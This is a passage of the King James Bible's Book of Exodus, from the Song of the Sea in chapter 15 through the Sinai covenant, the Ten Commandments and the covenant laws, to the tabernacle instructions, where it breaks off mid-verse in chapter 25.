+15:6 Thy right hand, O LORD, is become glorious in power: thy right +hand, O LORD, hath dashed in pieces the enemy. + +15:7 And in the greatness of thine excellency thou hast overthrown +them that rose up against thee: thou sentest forth thy wrath, which +consumed them as stubble. + +15:8 And with the blast of thy nostrils the waters were gathered +together, the floods stood upright as an heap, and the depths were +congealed in the heart of the sea. + +15:9 The enemy said, I will pursue, I will overtake, I will divide the +spoil; my lust shall be satisfied upon them; I will draw my sword, my +hand shall destroy them. + +15:10 Thou didst blow with thy wind, the sea covered them: they sank +as lead in the mighty waters. + +15:11 Who is like unto thee, O LORD, among the gods? who is like thee, +glorious in holiness, fearful in praises, doing wonders? 15:12 Thou +stretchedst out thy right hand, the earth swallowed them. + +15:13 Thou in thy mercy hast led forth the people which thou hast +redeemed: thou hast guided them in thy strength unto thy holy +habitation. + +15:14 The people shall hear, and be afraid: sorrow shall take hold on +the inhabitants of Palestina. + +15:15 Then the dukes of Edom shall be amazed; the mighty men of Moab, +trembling shall take hold upon them; all the inhabitants of Canaan +shall melt away. + +15:16 Fear and dread shall fall upon them; by the greatness of thine +arm they shall be as still as a stone; till thy people pass over, O +LORD, till the people pass over, which thou hast purchased. + +15:17 Thou shalt bring them in, and plant them in the mountain of +thine inheritance, in the place, O LORD, which thou hast made for thee +to dwell in, in the Sanctuary, O LORD, which thy hands have +established. + +15:18 The LORD shall reign for ever and ever. + +15:19 For the horse of Pharaoh went in with his chariots and with his +horsemen into the sea, and the LORD brought again the waters of the +sea upon them; but the children of Israel went on dry land in the +midst of the sea. + +15:20 And Miriam the prophetess, the sister of Aaron, took a timbrel +in her hand; and all the women went out after her with timbrels and +with dances. + +15:21 And Miriam answered them, Sing ye to the LORD, for he hath +triumphed gloriously; the horse and his rider hath he thrown into the +sea. + +15:22 So Moses brought Israel from the Red sea, and they went out into +the wilderness of Shur; and they went three days in the wilderness, +and found no water. + +15:23 And when they came to Marah, they could not drink of the waters +of Marah, for they were bitter: therefore the name of it was called +Marah. + +15:24 And the people murmured against Moses, saying, What shall we +drink? 15:25 And he cried unto the LORD; and the LORD shewed him a +tree, which when he had cast into the waters, the waters were made +sweet: there he made for them a statute and an ordinance, and there he +proved them, 15:26 And said, If thou wilt diligently hearken to the +voice of the LORD thy God, and wilt do that which is right in his +sight, and wilt give ear to his commandments, and keep all his +statutes, I will put none of these diseases upon thee, which I have +brought upon the Egyptians: for I am the LORD that healeth thee. + +15:27 And they came to Elim, where were twelve wells of water, and +threescore and ten palm trees: and they encamped there by the waters. + +16:1 And they took their journey from Elim, and all the congregation +of the children of Israel came unto the wilderness of Sin, which is +between Elim and Sinai, on the fifteenth day of the second month after +their departing out of the land of Egypt. + +16:2 And the whole congregation of the children of Israel murmured +against Moses and Aaron in the wilderness: 16:3 And the children of +Israel said unto them, Would to God we had died by the hand of the +LORD in the land of Egypt, when we sat by the flesh pots, and when we +did eat bread to the full; for ye have brought us forth into this +wilderness, to kill this whole assembly with hunger. + +16:4 Then said the LORD unto Moses, Behold, I will rain bread from +heaven for you; and the people shall go out and gather a certain rate +every day, that I may prove them, whether they will walk in my law, or +no. + +16:5 And it shall come to pass, that on the sixth day they shall +prepare that which they bring in; and it shall be twice as much as +they gather daily. + +16:6 And Moses and Aaron said unto all the children of Israel, At +even, then ye shall know that the LORD hath brought you out from the +land of Egypt: 16:7 And in the morning, then ye shall see the glory of +the LORD; for that he heareth your murmurings against the LORD: and +what are we, that ye murmur against us? 16:8 And Moses said, This +shall be, when the LORD shall give you in the evening flesh to eat, +and in the morning bread to the full; for that the LORD heareth your +murmurings which ye murmur against him: and what are we? your +murmurings are not against us, but against the LORD. + +16:9 And Moses spake unto Aaron, Say unto all the congregation of the +children of Israel, Come near before the LORD: for he hath heard your +murmurings. + +16:10 And it came to pass, as Aaron spake unto the whole congregation +of the children of Israel, that they looked toward the wilderness, +and, behold, the glory of the LORD appeared in the cloud. + +16:11 And the LORD spake unto Moses, saying, 16:12 I have heard the +murmurings of the children of Israel: speak unto them, saying, At even +ye shall eat flesh, and in the morning ye shall be filled with bread; +and ye shall know that I am the LORD your God. + +16:13 And it came to pass, that at even the quails came up, and +covered the camp: and in the morning the dew lay round about the host. + +16:14 And when the dew that lay was gone up, behold, upon the face of +the wilderness there lay a small round thing, as small as the hoar +frost on the ground. + +16:15 And when the children of Israel saw it, they said one to +another, It is manna: for they wist not what it was. And Moses said +unto them, This is the bread which the LORD hath given you to eat. + +16:16 This is the thing which the LORD hath commanded, Gather of it +every man according to his eating, an omer for every man, according to +the number of your persons; take ye every man for them which are in +his tents. + +16:17 And the children of Israel did so, and gathered, some more, some +less. + +16:18 And when they did mete it with an omer, he that gathered much +had nothing over, and he that gathered little had no lack; they +gathered every man according to his eating. + +16:19 And Moses said, Let no man leave of it till the morning. + +16:20 Notwithstanding they hearkened not unto Moses; but some of them +left of it until the morning, and it bred worms, and stank: and Moses +was wroth with them. + +16:21 And they gathered it every morning, every man according to his +eating: and when the sun waxed hot, it melted. + +16:22 And it came to pass, that on the sixth day they gathered twice +as much bread, two omers for one man: and all the rulers of the +congregation came and told Moses. + +16:23 And he said unto them, This is that which the LORD hath said, To +morrow is the rest of the holy sabbath unto the LORD: bake that which +ye will bake to day, and seethe that ye will seethe; and that which +remaineth over lay up for you to be kept until the morning. + +16:24 And they laid it up till the morning, as Moses bade: and it did +not stink, neither was there any worm therein. + +16:25 And Moses said, Eat that to day; for to day is a sabbath unto +the LORD: to day ye shall not find it in the field. + +16:26 Six days ye shall gather it; but on the seventh day, which is +the sabbath, in it there shall be none. + +16:27 And it came to pass, that there went out some of the people on +the seventh day for to gather, and they found none. + +16:28 And the LORD said unto Moses, How long refuse ye to keep my +commandments and my laws? 16:29 See, for that the LORD hath given you +the sabbath, therefore he giveth you on the sixth day the bread of two +days; abide ye every man in his place, let no man go out of his place +on the seventh day. + +16:30 So the people rested on the seventh day. + +16:31 And the house of Israel called the name thereof Manna: and it +was like coriander seed, white; and the taste of it was like wafers +made with honey. + +16:32 And Moses said, This is the thing which the LORD commandeth, +Fill an omer of it to be kept for your generations; that they may see +the bread wherewith I have fed you in the wilderness, when I brought +you forth from the land of Egypt. + +16:33 And Moses said unto Aaron, Take a pot, and put an omer full of +manna therein, and lay it up before the LORD, to be kept for your +generations. + +16:34 As the LORD commanded Moses, so Aaron laid it up before the +Testimony, to be kept. + +16:35 And the children of Israel did eat manna forty years, until they +came to a land inhabited; they did eat manna, until they came unto the +borders of the land of Canaan. + +16:36 Now an omer is the tenth part of an ephah. + +17:1 And all the congregation of the children of Israel journeyed from +the wilderness of Sin, after their journeys, according to the +commandment of the LORD, and pitched in Rephidim: and there was no +water for the people to drink. + +17:2 Wherefore the people did chide with Moses, and said, Give us +water that we may drink. And Moses said unto them, Why chide ye with +me? wherefore do ye tempt the LORD? 17:3 And the people thirsted +there for water; and the people murmured against Moses, and said, +Wherefore is this that thou hast brought us up out of Egypt, to kill +us and our children and our cattle with thirst? 17:4 And Moses cried +unto the LORD, saying, What shall I do unto this people? they be +almost ready to stone me. + +17:5 And the LORD said unto Moses, Go on before the people, and take +with thee of the elders of Israel; and thy rod, wherewith thou smotest +the river, take in thine hand, and go. + +17:6 Behold, I will stand before thee there upon the rock in Horeb; +and thou shalt smite the rock, and there shall come water out of it, +that the people may drink. And Moses did so in the sight of the elders +of Israel. + +17:7 And he called the name of the place Massah, and Meribah, because +of the chiding of the children of Israel, and because they tempted the +LORD, saying, Is the LORD among us, or not? 17:8 Then came Amalek, +and fought with Israel in Rephidim. + +17:9 And Moses said unto Joshua, Choose us out men, and go out, fight +with Amalek: to morrow I will stand on the top of the hill with the +rod of God in mine hand. + +17:10 So Joshua did as Moses had said to him, and fought with Amalek: +and Moses, Aaron, and Hur went up to the top of the hill. + +17:11 And it came to pass, when Moses held up his hand, that Israel +prevailed: and when he let down his hand, Amalek prevailed. + +17:12 But Moses hands were heavy; and they took a stone, and put it +under him, and he sat thereon; and Aaron and Hur stayed up his hands, +the one on the one side, and the other on the other side; and his +hands were steady until the going down of the sun. + +17:13 And Joshua discomfited Amalek and his people with the edge of +the sword. + +17:14 And the LORD said unto Moses, Write this for a memorial in a +book, and rehearse it in the ears of Joshua: for I will utterly put +out the remembrance of Amalek from under heaven. + +17:15 And Moses built an altar, and called the name of it +Jehovahnissi: 17:16 For he said, Because the LORD hath sworn that the +LORD will have war with Amalek from generation to generation. + +18:1 When Jethro, the priest of Midian, Moses' father in law, heard of +all that God had done for Moses, and for Israel his people, and that +the LORD had brought Israel out of Egypt; 18:2 Then Jethro, Moses' +father in law, took Zipporah, Moses' wife, after he had sent her back, +18:3 And her two sons; of which the name of the one was Gershom; for +he said, I have been an alien in a strange land: 18:4 And the name of +the other was Eliezer; for the God of my father, said he, was mine +help, and delivered me from the sword of Pharaoh: 18:5 And Jethro, +Moses' father in law, came with his sons and his wife unto Moses into +the wilderness, where he encamped at the mount of God: 18:6 And he +said unto Moses, I thy father in law Jethro am come unto thee, and thy +wife, and her two sons with her. + +18:7 And Moses went out to meet his father in law, and did obeisance, +and kissed him; and they asked each other of their welfare; and they +came into the tent. + +18:8 And Moses told his father in law all that the LORD had done unto +Pharaoh and to the Egyptians for Israel's sake, and all the travail +that had come upon them by the way, and how the LORD delivered them. + +18:9 And Jethro rejoiced for all the goodness which the LORD had done +to Israel, whom he had delivered out of the hand of the Egyptians. + +18:10 And Jethro said, Blessed be the LORD, who hath delivered you out +of the hand of the Egyptians, and out of the hand of Pharaoh, who hath +delivered the people from under the hand of the Egyptians. + +18:11 Now I know that the LORD is greater than all gods: for in the +thing wherein they dealt proudly he was above them. + +18:12 And Jethro, Moses' father in law, took a burnt offering and +sacrifices for God: and Aaron came, and all the elders of Israel, to +eat bread with Moses' father in law before God. + +18:13 And it came to pass on the morrow, that Moses sat to judge the +people: and the people stood by Moses from the morning unto the +evening. + +18:14 And when Moses' father in law saw all that he did to the people, +he said, What is this thing that thou doest to the people? why sittest +thou thyself alone, and all the people stand by thee from morning unto +even? 18:15 And Moses said unto his father in law, Because the people +come unto me to enquire of God: 18:16 When they have a matter, they +come unto me; and I judge between one and another, and I do make them +know the statutes of God, and his laws. + +18:17 And Moses' father in law said unto him, The thing that thou +doest is not good. + +18:18 Thou wilt surely wear away, both thou, and this people that is +with thee: for this thing is too heavy for thee; thou art not able to +perform it thyself alone. + +18:19 Hearken now unto my voice, I will give thee counsel, and God +shall be with thee: Be thou for the people to God-ward, that thou +mayest bring the causes unto God: 18:20 And thou shalt teach them +ordinances and laws, and shalt shew them the way wherein they must +walk, and the work that they must do. + +18:21 Moreover thou shalt provide out of all the people able men, such +as fear God, men of truth, hating covetousness; and place such over +them, to be rulers of thousands, and rulers of hundreds, rulers of +fifties, and rulers of tens: 18:22 And let them judge the people at +all seasons: and it shall be, that every great matter they shall bring +unto thee, but every small matter they shall judge: so shall it be +easier for thyself, and they shall bear the burden with thee. + +18:23 If thou shalt do this thing, and God command thee so, then thou +shalt be able to endure, and all this people shall also go to their +place in peace. + +18:24 So Moses hearkened to the voice of his father in law, and did +all that he had said. + +18:25 And Moses chose able men out of all Israel, and made them heads +over the people, rulers of thousands, rulers of hundreds, rulers of +fifties, and rulers of tens. + +18:26 And they judged the people at all seasons: the hard causes they +brought unto Moses, but every small matter they judged themselves. + +18:27 And Moses let his father in law depart; and he went his way into +his own land. + +19:1 In the third month, when the children of Israel were gone forth +out of the land of Egypt, the same day came they into the wilderness +of Sinai. + +19:2 For they were departed from Rephidim, and were come to the desert +of Sinai, and had pitched in the wilderness; and there Israel camped +before the mount. + +19:3 And Moses went up unto God, and the LORD called unto him out of +the mountain, saying, Thus shalt thou say to the house of Jacob, and +tell the children of Israel; 19:4 Ye have seen what I did unto the +Egyptians, and how I bare you on eagles' wings, and brought you unto +myself. + +19:5 Now therefore, if ye will obey my voice indeed, and keep my +covenant, then ye shall be a peculiar treasure unto me above all +people: for all the earth is mine: 19:6 And ye shall be unto me a +kingdom of priests, and an holy nation. + +These are the words which thou shalt speak unto the children of +Israel. + +19:7 And Moses came and called for the elders of the people, and laid +before their faces all these words which the LORD commanded him. + +19:8 And all the people answered together, and said, All that the LORD +hath spoken we will do. And Moses returned the words of the people +unto the LORD. + +19:9 And the LORD said unto Moses, Lo, I come unto thee in a thick +cloud, that the people may hear when I speak with thee, and believe +thee for ever. + +And Moses told the words of the people unto the LORD. + +19:10 And the LORD said unto Moses, Go unto the people, and sanctify +them to day and to morrow, and let them wash their clothes, 19:11 And +be ready against the third day: for the third day the LORD will come +down in the sight of all the people upon mount Sinai. + +19:12 And thou shalt set bounds unto the people round about, saying, +Take heed to yourselves, that ye go not up into the mount, or touch +the border of it: whosoever toucheth the mount shall be surely put to +death: 19:13 There shall not an hand touch it, but he shall surely be +stoned, or shot through; whether it be beast or man, it shall not +live: when the trumpet soundeth long, they shall come up to the mount. + +19:14 And Moses went down from the mount unto the people, and +sanctified the people; and they washed their clothes. + +19:15 And he said unto the people, Be ready against the third day: +come not at your wives. + +19:16 And it came to pass on the third day in the morning, that there +were thunders and lightnings, and a thick cloud upon the mount, and +the voice of the trumpet exceeding loud; so that all the people that +was in the camp trembled. + +19:17 And Moses brought forth the people out of the camp to meet with +God; and they stood at the nether part of the mount. + +19:18 And mount Sinai was altogether on a smoke, because the LORD +descended upon it in fire: and the smoke thereof ascended as the smoke +of a furnace, and the whole mount quaked greatly. + +19:19 And when the voice of the trumpet sounded long, and waxed louder +and louder, Moses spake, and God answered him by a voice. + +19:20 And the LORD came down upon mount Sinai, on the top of the +mount: and the LORD called Moses up to the top of the mount; and Moses +went up. + +19:21 And the LORD said unto Moses, Go down, charge the people, lest +they break through unto the LORD to gaze, and many of them perish. + +19:22 And let the priests also, which come near to the LORD, sanctify +themselves, lest the LORD break forth upon them. + +19:23 And Moses said unto the LORD, The people cannot come up to mount +Sinai: for thou chargedst us, saying, Set bounds about the mount, and +sanctify it. + +19:24 And the LORD said unto him, Away, get thee down, and thou shalt +come up, thou, and Aaron with thee: but let not the priests and the +people break through to come up unto the LORD, lest he break forth +upon them. + +19:25 So Moses went down unto the people, and spake unto them. + +20:1 And God spake all these words, saying, 20:2 I am the LORD thy +God, which have brought thee out of the land of Egypt, out of the +house of bondage. + +20:3 Thou shalt have no other gods before me. + +20:4 Thou shalt not make unto thee any graven image, or any likeness +of any thing that is in heaven above, or that is in the earth beneath, +or that is in the water under the earth. + +20:5 Thou shalt not bow down thyself to them, nor serve them: for I +the LORD thy God am a jealous God, visiting the iniquity of the +fathers upon the children unto the third and fourth generation of them +that hate me; 20:6 And shewing mercy unto thousands of them that love +me, and keep my commandments. + +20:7 Thou shalt not take the name of the LORD thy God in vain; for the +LORD will not hold him guiltless that taketh his name in vain. + +20:8 Remember the sabbath day, to keep it holy. + +20:9 Six days shalt thou labour, and do all thy work: 20:10 But the +seventh day is the sabbath of the LORD thy God: in it thou shalt not +do any work, thou, nor thy son, nor thy daughter, thy manservant, nor +thy maidservant, nor thy cattle, nor thy stranger that is within thy +gates: 20:11 For in six days the LORD made heaven and earth, the sea, +and all that in them is, and rested the seventh day: wherefore the +LORD blessed the sabbath day, and hallowed it. + +20:12 Honour thy father and thy mother: that thy days may be long upon +the land which the LORD thy God giveth thee. + +20:13 Thou shalt not kill. + +20:14 Thou shalt not commit adultery. + +20:15 Thou shalt not steal. + +20:16 Thou shalt not bear false witness against thy neighbour. + +20:17 Thou shalt not covet thy neighbour's house, thou shalt not covet +thy neighbour's wife, nor his manservant, nor his maidservant, nor his +ox, nor his ass, nor any thing that is thy neighbour's. + +20:18 And all the people saw the thunderings, and the lightnings, and +the noise of the trumpet, and the mountain smoking: and when the +people saw it, they removed, and stood afar off. + +20:19 And they said unto Moses, Speak thou with us, and we will hear: +but let not God speak with us, lest we die. + +20:20 And Moses said unto the people, Fear not: for God is come to +prove you, and that his fear may be before your faces, that ye sin +not. + +20:21 And the people stood afar off, and Moses drew near unto the +thick darkness where God was. + +20:22 And the LORD said unto Moses, Thus thou shalt say unto the +children of Israel, Ye have seen that I have talked with you from +heaven. + +20:23 Ye shall not make with me gods of silver, neither shall ye make +unto you gods of gold. + +20:24 An altar of earth thou shalt make unto me, and shalt sacrifice +thereon thy burnt offerings, and thy peace offerings, thy sheep, and +thine oxen: in all places where I record my name I will come unto +thee, and I will bless thee. + +20:25 And if thou wilt make me an altar of stone, thou shalt not build +it of hewn stone: for if thou lift up thy tool upon it, thou hast +polluted it. + +20:26 Neither shalt thou go up by steps unto mine altar, that thy +nakedness be not discovered thereon. + +21:1 Now these are the judgments which thou shalt set before them. + +21:2 If thou buy an Hebrew servant, six years he shall serve: and in +the seventh he shall go out free for nothing. + +21:3 If he came in by himself, he shall go out by himself: if he were +married, then his wife shall go out with him. + +21:4 If his master have given him a wife, and she have born him sons +or daughters; the wife and her children shall be her master's, and he +shall go out by himself. + +21:5 And if the servant shall plainly say, I love my master, my wife, +and my children; I will not go out free: 21:6 Then his master shall +bring him unto the judges; he shall also bring him to the door, or +unto the door post; and his master shall bore his ear through with an +aul; and he shall serve him for ever. + +21:7 And if a man sell his daughter to be a maidservant, she shall not +go out as the menservants do. + +21:8 If she please not her master, who hath betrothed her to himself, +then shall he let her be redeemed: to sell her unto a strange nation +he shall have no power, seeing he hath dealt deceitfully with her. + +21:9 And if he have betrothed her unto his son, he shall deal with her +after the manner of daughters. + +21:10 If he take him another wife; her food, her raiment, and her duty +of marriage, shall he not diminish. + +21:11 And if he do not these three unto her, then shall she go out +free without money. + +21:12 He that smiteth a man, so that he die, shall be surely put to +death. + +21:13 And if a man lie not in wait, but God deliver him into his hand; +then I will appoint thee a place whither he shall flee. + +21:14 But if a man come presumptuously upon his neighbour, to slay him +with guile; thou shalt take him from mine altar, that he may die. + +21:15 And he that smiteth his father, or his mother, shall be surely +put to death. + +21:16 And he that stealeth a man, and selleth him, or if he be found +in his hand, he shall surely be put to death. + +21:17 And he that curseth his father, or his mother, shall surely be +put to death. + +21:18 And if men strive together, and one smite another with a stone, +or with his fist, and he die not, but keepeth his bed: 21:19 If he +rise again, and walk abroad upon his staff, then shall he that smote +him be quit: only he shall pay for the loss of his time, and shall +cause him to be thoroughly healed. + +21:20 And if a man smite his servant, or his maid, with a rod, and he +die under his hand; he shall be surely punished. + +21:21 Notwithstanding, if he continue a day or two, he shall not be +punished: for he is his money. + +21:22 If men strive, and hurt a woman with child, so that her fruit +depart from her, and yet no mischief follow: he shall be surely +punished, according as the woman's husband will lay upon him; and he +shall pay as the judges determine. + +21:23 And if any mischief follow, then thou shalt give life for life, +21:24 Eye for eye, tooth for tooth, hand for hand, foot for foot, +21:25 Burning for burning, wound for wound, stripe for stripe. + +21:26 And if a man smite the eye of his servant, or the eye of his +maid, that it perish; he shall let him go free for his eye's sake. + +21:27 And if he smite out his manservant's tooth, or his maidservant's +tooth; he shall let him go free for his tooth's sake. + +21:28 If an ox gore a man or a woman, that they die: then the ox shall +be surely stoned, and his flesh shall not be eaten; but the owner of +the ox shall be quit. + +21:29 But if the ox were wont to push with his horn in time past, and +it hath been testified to his owner, and he hath not kept him in, but +that he hath killed a man or a woman; the ox shall be stoned, and his +owner also shall be put to death. + +21:30 If there be laid on him a sum of money, then he shall give for +the ransom of his life whatsoever is laid upon him. + +21:31 Whether he have gored a son, or have gored a daughter, according +to this judgment shall it be done unto him. + +21:32 If the ox shall push a manservant or a maidservant; he shall +give unto their master thirty shekels of silver, and the ox shall be +stoned. + +21:33 And if a man shall open a pit, or if a man shall dig a pit, and +not cover it, and an ox or an ass fall therein; 21:34 The owner of the +pit shall make it good, and give money unto the owner of them; and the +dead beast shall be his. + +21:35 And if one man's ox hurt another's, that he die; then they shall +sell the live ox, and divide the money of it; and the dead ox also +they shall divide. + +21:36 Or if it be known that the ox hath used to push in time past, +and his owner hath not kept him in; he shall surely pay ox for ox; and +the dead shall be his own. + +22:1 If a man shall steal an ox, or a sheep, and kill it, or sell it; +he shall restore five oxen for an ox, and four sheep for a sheep. + +22:2 If a thief be found breaking up, and be smitten that he die, +there shall no blood be shed for him. + +22:3 If the sun be risen upon him, there shall be blood shed for him; +for he should make full restitution; if he have nothing, then he shall +be sold for his theft. + +22:4 If the theft be certainly found in his hand alive, whether it be +ox, or ass, or sheep; he shall restore double. + +22:5 If a man shall cause a field or vineyard to be eaten, and shall +put in his beast, and shall feed in another man's field; of the best +of his own field, and of the best of his own vineyard, shall he make +restitution. + +22:6 If fire break out, and catch in thorns, so that the stacks of +corn, or the standing corn, or the field, be consumed therewith; he +that kindled the fire shall surely make restitution. + +22:7 If a man shall deliver unto his neighbour money or stuff to keep, +and it be stolen out of the man's house; if the thief be found, let +him pay double. + +22:8 If the thief be not found, then the master of the house shall be +brought unto the judges, to see whether he have put his hand unto his +neighbour's goods. + +22:9 For all manner of trespass, whether it be for ox, for ass, for +sheep, for raiment, or for any manner of lost thing which another +challengeth to be his, the cause of both parties shall come before the +judges; and whom the judges shall condemn, he shall pay double unto +his neighbour. + +22:10 If a man deliver unto his neighbour an ass, or an ox, or a +sheep, or any beast, to keep; and it die, or be hurt, or driven away, +no man seeing it: 22:11 Then shall an oath of the LORD be between them +both, that he hath not put his hand unto his neighbour's goods; and +the owner of it shall accept thereof, and he shall not make it good. + +22:12 And if it be stolen from him, he shall make restitution unto the +owner thereof. + +22:13 If it be torn in pieces, then let him bring it for witness, and +he shall not make good that which was torn. + +22:14 And if a man borrow ought of his neighbour, and it be hurt, or +die, the owner thereof being not with it, he shall surely make it +good. + +22:15 But if the owner thereof be with it, he shall not make it good: +if it be an hired thing, it came for his hire. + +22:16 And if a man entice a maid that is not betrothed, and lie with +her, he shall surely endow her to be his wife. + +22:17 If her father utterly refuse to give her unto him, he shall pay +money according to the dowry of virgins. + +22:18 Thou shalt not suffer a witch to live. + +22:19 Whosoever lieth with a beast shall surely be put to death. + +22:20 He that sacrificeth unto any god, save unto the LORD only, he +shall be utterly destroyed. + +22:21 Thou shalt neither vex a stranger, nor oppress him: for ye were +strangers in the land of Egypt. + +22:22 Ye shall not afflict any widow, or fatherless child. + +22:23 If thou afflict them in any wise, and they cry at all unto me, I +will surely hear their cry; 22:24 And my wrath shall wax hot, and I +will kill you with the sword; and your wives shall be widows, and your +children fatherless. + +22:25 If thou lend money to any of my people that is poor by thee, +thou shalt not be to him as an usurer, neither shalt thou lay upon him +usury. + +22:26 If thou at all take thy neighbour's raiment to pledge, thou +shalt deliver it unto him by that the sun goeth down: 22:27 For that +is his covering only, it is his raiment for his skin: wherein shall he +sleep? and it shall come to pass, when he crieth unto me, that I will +hear; for I am gracious. + +22:28 Thou shalt not revile the gods, nor curse the ruler of thy +people. + +22:29 Thou shalt not delay to offer the first of thy ripe fruits, and +of thy liquors: the firstborn of thy sons shalt thou give unto me. + +22:30 Likewise shalt thou do with thine oxen, and with thy sheep: +seven days it shall be with his dam; on the eighth day thou shalt give +it me. + +22:31 And ye shall be holy men unto me: neither shall ye eat any flesh +that is torn of beasts in the field; ye shall cast it to the dogs. + +23:1 Thou shalt not raise a false report: put not thine hand with the +wicked to be an unrighteous witness. + +23:2 Thou shalt not follow a multitude to do evil; neither shalt thou +speak in a cause to decline after many to wrest judgment: 23:3 Neither +shalt thou countenance a poor man in his cause. + +23:4 If thou meet thine enemy's ox or his ass going astray, thou shalt +surely bring it back to him again. + +23:5 If thou see the ass of him that hateth thee lying under his +burden, and wouldest forbear to help him, thou shalt surely help with +him. + +23:6 Thou shalt not wrest the judgment of thy poor in his cause. + +23:7 Keep thee far from a false matter; and the innocent and righteous +slay thou not: for I will not justify the wicked. + +23:8 And thou shalt take no gift: for the gift blindeth the wise, and +perverteth the words of the righteous. + +23:9 Also thou shalt not oppress a stranger: for ye know the heart of +a stranger, seeing ye were strangers in the land of Egypt. + +23:10 And six years thou shalt sow thy land, and shalt gather in the +fruits thereof: 23:11 But the seventh year thou shalt let it rest and +lie still; that the poor of thy people may eat: and what they leave +the beasts of the field shall eat. In like manner thou shalt deal with +thy vineyard, and with thy oliveyard. + +23:12 Six days thou shalt do thy work, and on the seventh day thou +shalt rest: that thine ox and thine ass may rest, and the son of thy +handmaid, and the stranger, may be refreshed. + +23:13 And in all things that I have said unto you be circumspect: and +make no mention of the name of other gods, neither let it be heard out +of thy mouth. + +23:14 Three times thou shalt keep a feast unto me in the year. + +23:15 Thou shalt keep the feast of unleavened bread: (thou shalt eat +unleavened bread seven days, as I commanded thee, in the time +appointed of the month Abib; for in it thou camest out from Egypt: and +none shall appear before me empty:) 23:16 And the feast of harvest, +the firstfruits of thy labours, which thou hast sown in the field: and +the feast of ingathering, which is in the end of the year, when thou +hast gathered in thy labours out of the field. + +23:17 Three items in the year all thy males shall appear before the +LORD God. + +23:18 Thou shalt not offer the blood of my sacrifice with leavened +bread; neither shall the fat of my sacrifice remain until the morning. + +23:19 The first of the firstfruits of thy land thou shalt bring into +the house of the LORD thy God. Thou shalt not seethe a kid in his +mother's milk. + +23:20 Behold, I send an Angel before thee, to keep thee in the way, +and to bring thee into the place which I have prepared. + +23:21 Beware of him, and obey his voice, provoke him not; for he will +not pardon your transgressions: for my name is in him. + +23:22 But if thou shalt indeed obey his voice, and do all that I +speak; then I will be an enemy unto thine enemies, and an adversary +unto thine adversaries. + +23:23 For mine Angel shall go before thee, and bring thee in unto the +Amorites, and the Hittites, and the Perizzites, and the Canaanites, +the Hivites, and the Jebusites: and I will cut them off. + +23:24 Thou shalt not bow down to their gods, nor serve them, nor do +after their works: but thou shalt utterly overthrow them, and quite +break down their images. + +23:25 And ye shall serve the LORD your God, and he shall bless thy +bread, and thy water; and I will take sickness away from the midst of +thee. + +23:26 There shall nothing cast their young, nor be barren, in thy +land: the number of thy days I will fulfil. + +23:27 I will send my fear before thee, and will destroy all the people +to whom thou shalt come, and I will make all thine enemies turn their +backs unto thee. + +23:28 And I will send hornets before thee, which shall drive out the +Hivite, the Canaanite, and the Hittite, from before thee. + +23:29 I will not drive them out from before thee in one year; lest the +land become desolate, and the beast of the field multiply against +thee. + +23:30 By little and little I will drive them out from before thee, +until thou be increased, and inherit the land. + +23:31 And I will set thy bounds from the Red sea even unto the sea of +the Philistines, and from the desert unto the river: for I will +deliver the inhabitants of the land into your hand; and thou shalt +drive them out before thee. + +23:32 Thou shalt make no covenant with them, nor with their gods. + +23:33 They shall not dwell in thy land, lest they make thee sin +against me: for if thou serve their gods, it will surely be a snare +unto thee. + +24:1 And he said unto Moses, Come up unto the LORD, thou, and Aaron, +Nadab, and Abihu, and seventy of the elders of Israel; and worship ye +afar off. + +24:2 And Moses alone shall come near the LORD: but they shall not come +nigh; neither shall the people go up with him. + +24:3 And Moses came and told the people all the words of the LORD, and +all the judgments: and all the people answered with one voice, and +said, All the words which the LORD hath said will we do. + +24:4 And Moses wrote all the words of the LORD, and rose up early in +the morning, and builded an altar under the hill, and twelve pillars, +according to the twelve tribes of Israel. + +24:5 And he sent young men of the children of Israel, which offered +burnt offerings, and sacrificed peace offerings of oxen unto the LORD. + +24:6 And Moses took half of the blood, and put it in basons; and half +of the blood he sprinkled on the altar. + +24:7 And he took the book of the covenant, and read in the audience of +the people: and they said, All that the LORD hath said will we do, and +be obedient. + +24:8 And Moses took the blood, and sprinkled it on the people, and +said, Behold the blood of the covenant, which the LORD hath made with +you concerning all these words. + +24:9 Then went up Moses, and Aaron, Nadab, and Abihu, and seventy of +the elders of Israel: 24:10 And they saw the God of Israel: and there +was under his feet as it were a paved work of a sapphire stone, and as +it were the body of heaven in his clearness. + +24:11 And upon the nobles of the children of Israel he laid not his +hand: also they saw God, and did eat and drink. + +24:12 And the LORD said unto Moses, Come up to me into the mount, and +be there: and I will give thee tables of stone, and a law, and +commandments which I have written; that thou mayest teach them. + +24:13 And Moses rose up, and his minister Joshua: and Moses went up +into the mount of God. + +24:14 And he said unto the elders, Tarry ye here for us, until we come +again unto you: and, behold, Aaron and Hur are with you: if any man +have any matters to do, let him come unto them. + +24:15 And Moses went up into the mount, and a cloud covered the mount. + +24:16 And the glory of the LORD abode upon mount Sinai, and the cloud +covered it six days: and the seventh day he called unto Moses out of +the midst of the cloud. + +24:17 And the sight of the glory of the LORD was like devouring fire +on the top of the mount in the eyes of the children of Israel. + +24:18 And Moses went into the midst of the cloud, and gat him up into +the mount: and Moses was in the mount forty days and forty nights. + +25:1 And the LORD spake unto Moses, saying, 25:2 Speak unto the +children of Israel, that they bring me an offering: of every man that +giveth it willingly with his heart ye shall take my offering. + +25:3 And this is the offering which ye shall take of them; gold, and +silver, and brass, 25:4 And blue, and purple, and scarlet, and fine +linen, and goats' hair, 25:5 And rams' skins dyed red, and badgers' +skins, and shittim wood, 25:6 Oil for the light, spices for anointing +oil, and for sweet incense, 25:7 Onyx stones, and stones to be set in +the ephod, and in the breastplate. + +25:8 And let them make me a sanctuary; that I may dwell among them. + +25:9 According to all that I shew thee, after the pattern of the +tabernacle, and the pattern of all the instruments thereof, even so +shall ye make it. + +25:10 And they shall make an ark of shittim wood: two cubits and a +half shall be the length thereof, and a cubit and a half the breadth +thereof, and a cubit and a half the height thereof. + +25:11 And thou shalt overlay it with pure gold, within and without +shalt thou overlay it, and shalt make upon it a crown of gold round +about. + +25:12 And thou shalt cast four rings of gold for it, and put them in +the four corners thereof; and two rings shall be in the one side of +it, and two rings in the other side of it. + +25:13 And thou shalt make staves of shittim wood, and overlay them +with gold. + +25:14 And thou shalt put the staves into the rings by the sides of the +ark, that the ark may be borne with them. + +25:15 The staves shall be in the rings of the ark: they shall not be +taken from it. + +25:16 And thou shalt put into the ark the testimony which I shall give +thee. + +25:17 And thou shalt make a mercy seat of pure gold: two cubits and a +half shall be the length thereof, and a cubit and a half the breadth +thereof. + +25:18 And thou shalt make two cherubims of gold, of beaten work shalt +thou make them, in the two ends of the mercy 